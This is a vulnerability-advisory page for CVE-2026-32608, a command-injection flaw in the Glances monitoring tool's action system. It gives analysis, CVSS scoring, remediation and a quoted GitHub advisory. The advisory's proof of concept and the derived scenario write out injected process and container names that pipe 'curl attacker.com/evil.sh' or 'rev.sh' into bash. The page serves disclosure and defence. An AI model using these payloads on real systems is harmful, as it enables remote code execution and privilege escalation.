Skip to main content

Python CVE-2026-32608

HIGH
OS Command Injection (CWE-78)
2026-03-16 https://github.com/nicolargo/glances GHSA-vcv2-q258-wrg7
High
Disputed · 7.0 NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Administrator configures monitoring action with shell command
  2. Delivery
    Monitored metric exceeds threshold with malicious value
  3. Exploit
    Mustache template renders unsanitized data into command
  4. Execution
    secure_popen() splits string and executes via subprocess
  5. Impact
    Arbitrary code execution as Glances process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Glances action system enabled with shell command configured in monitoring thresholds. Attacker must indirectly control monitored value (process name, filesystem mount point, or container name) that triggers the action. Requires local access and Glances administrative configuration privileges.

Impact

While the CVSS 7.0 score indicates high severity, the real-world risk is moderated by several factors. The attack vector is local (AV:L) with high complexity (AC:H) requiring low privileges (PR:L), meaning an attacker must already have local access and the target system must have administrator-configured action templates referencing user-controllable fields. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities catalog, suggesting no active exploitation in the wild. However, the availability of detailed proof-of-concept code and the common practice of running Glances as root for full system monitoring elevates the practical risk for affected deployments. The arbitrary file write capability via redirect operators adds additional attack surface beyond command execution.

Exploit ScenarioDerived

An attacker with local low-privileged access creates a process with a specially crafted name containing pipe characters, such as 'innocent|curl attacker.com/evil.sh|bash', then triggers a CPU threshold alert. When Glances executes the configured action template 'echo ALERT: {{name}} used {{cpu_percent}}% CPU', the secure_popen function splits the rendered command at the pipe character, resulting in execution of the attacker's injected curl command. The detailed proof-of-concept demonstrates both command injection via pipes and command chaining via && operators in container names.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 16, 2026

Glances monitoring system allows local attackers with limited privileges to execute arbitrary commands by injecting shell metacharacters into process or container names, which bypass command sanitization in the action execution handler. The vulnerability affects the threshold alert system that dynamically executes administrator-configured shell commands populated with runtime monitoring data. An attacker controlling a process name or container name can manipulate command parsing to break out of intended command boundaries and inject malicious commands.

Earlier versions of this analysis (1)
v1 Mar 16, 2026 - 17:20 CVSS 7.0

A command injection vulnerability in Glances system monitoring tool allows attackers who can control process names, container names, or filesystem mount points to execute arbitrary commands when administrators have configured threshold-based actions. The vulnerability stems from improper handling of shell metacharacters in the secure_popen() function when rendering Mustache templates with user-controlled data. With a CVSS score of 7.0 and detailed proof-of-concept available, this represents a significant local privilege escalation risk, particularly when Glances runs as root.

RemediationAI

Upgrade Glances to version 4.5.2 or later which contains the security patch (commit 6f4ec53d967478e69917078e6f73f448001bf107) that properly escapes shell metacharacters in Mustache-rendered values. As an immediate workaround, review and modify any configured action templates in glances.conf to avoid using user-controllable variables like {{name}} or {{key}}, or restrict Glances execution to a non-privileged user account. Organizations should audit their Glances configurations for action templates and consider implementing additional process name validation at the system level to prevent creation of processes with shell metacharacters in their names.

Affected Packages

pypi glances fix: 4.5.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Glances (CPE: pkg:pip/glances) is a cross-platform system monitoring tool written in Python that allows administrators to configure automated actions when monitoring thresholds are exceeded. The vulnerability is classified as CWE-78 (OS Command Injection) and occurs in the secure_popen() function which attempts to safely execute shell commands by splitting on operators like |, &&, and > before passing to subprocess.Popen(shell=False). However, when Mustache template variables containing user-controlled data (process names, container names, mount points) are rendered into these commands, the splitting occurs after template expansion, allowing injected metacharacters to be interpreted as command separators rather than literal text.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Sources disagree (Low–High)
GitHub Advisory PRIMARY 7.0 HIGH
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
SUSE 3.1 LOW
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorGitHub Advisory

Attack Vector
Local
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Mar 16, 2026 - 17:20 nvd
Patch available
CVE Published
Mar 16, 2026 - 16:26 nvd
HIGH 7.0

DescriptionGitHub Advisory

Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

  1. Admin configures an action in glances.conf (documented feature):
ini
[cpu]
critical_action=echo "High CPU on {{name}}" | mail admin@example.com
  1. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
python
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
  1. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
  2. In glances/actions.py:77-78, the Mustache library renders the template:
python
if chevron_tag:
    cmd_full = chevron.render(cmd, mustache_dict)
  1. The rendered command is passed to secure_popen() (glances/actions.py:84):
python
ret = secure_popen(cmd_full)

The secure_popen vulnerability (glances/secure.py:17-30):

python
def secure_popen(cmd):
    ret = ""
    for c in cmd.split("&&"):
        ret += __secure_popen(c)
    return ret

And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

python
if stdout_redirect is not None:
    with open(stdout_redirect, "w") as stdout_redirect_file:
        stdout_redirect_file.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

bash
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
# 3. When the process triggers a critical alert, secure_popen splits by |:
#   Command 1: echo "ALERT: innocent
#   Command 2: curl attacker.com/evil.sh   <-- INJECTED
#   Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

bash
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream
# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
# 3. secure_popen splits by &&:
#   Command 1: docker stats web
#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED
#   Command 3: echo --no-stream

Impact

  • Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
  • Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
  • Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.
  • Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

python
# glances/actions.py

def _escape_for_secure_popen(value):
    """Escape characters that secure_popen treats as operators."""
    if not isinstance(value, str):
        return value
    value = value.replace("&&", " ")
    value = value.replace("|", " ")
    value = value.replace(">", " ")
    return value

def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
    for cmd in commands:
        if chevron_tag:
            if mustache_dict:
                safe_dict = {
                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v
                    for k, v in mustache_dict.items()
                }
            else:
                safe_dict = mustache_dict
            cmd_full = chevron.render(cmd, safe_dict)
        else:
            cmd_full = cmd
        ...

Executive ViewAI

Why It Matters

A command injection vulnerability in Glances monitoring software allows attackers to execute arbitrary commands on systems where administrators have configured automated actions triggered by monitoring thresholds. An attacker who can control process names, container names, or filesystem mount points could exploit this to gain unauthorized command execution with the privileges of the Glances service.

Business Impact: High
Compensating Controls

Apply vendor patch. If patching cannot be immediately deployed: (1) Disable the action system entirely if not critical to operations; (2) Restrict Glances configuration files to read-only and limit file permissions to trusted administrators only; (3) Remove or audit all configured actions that use Mustache variables derived from dynamic sources; (4) Isolate Glances to a dedicated service account with minimal system privileges; (5) Implement network segmentation to limit lateral movement if command execution occurs.

Threat Intelligence Overview

EPSS Score
0.0%
Top 96% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +35
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Affected Products (CPE)GitHub Advisory

pkg:pip/glances

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Low
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy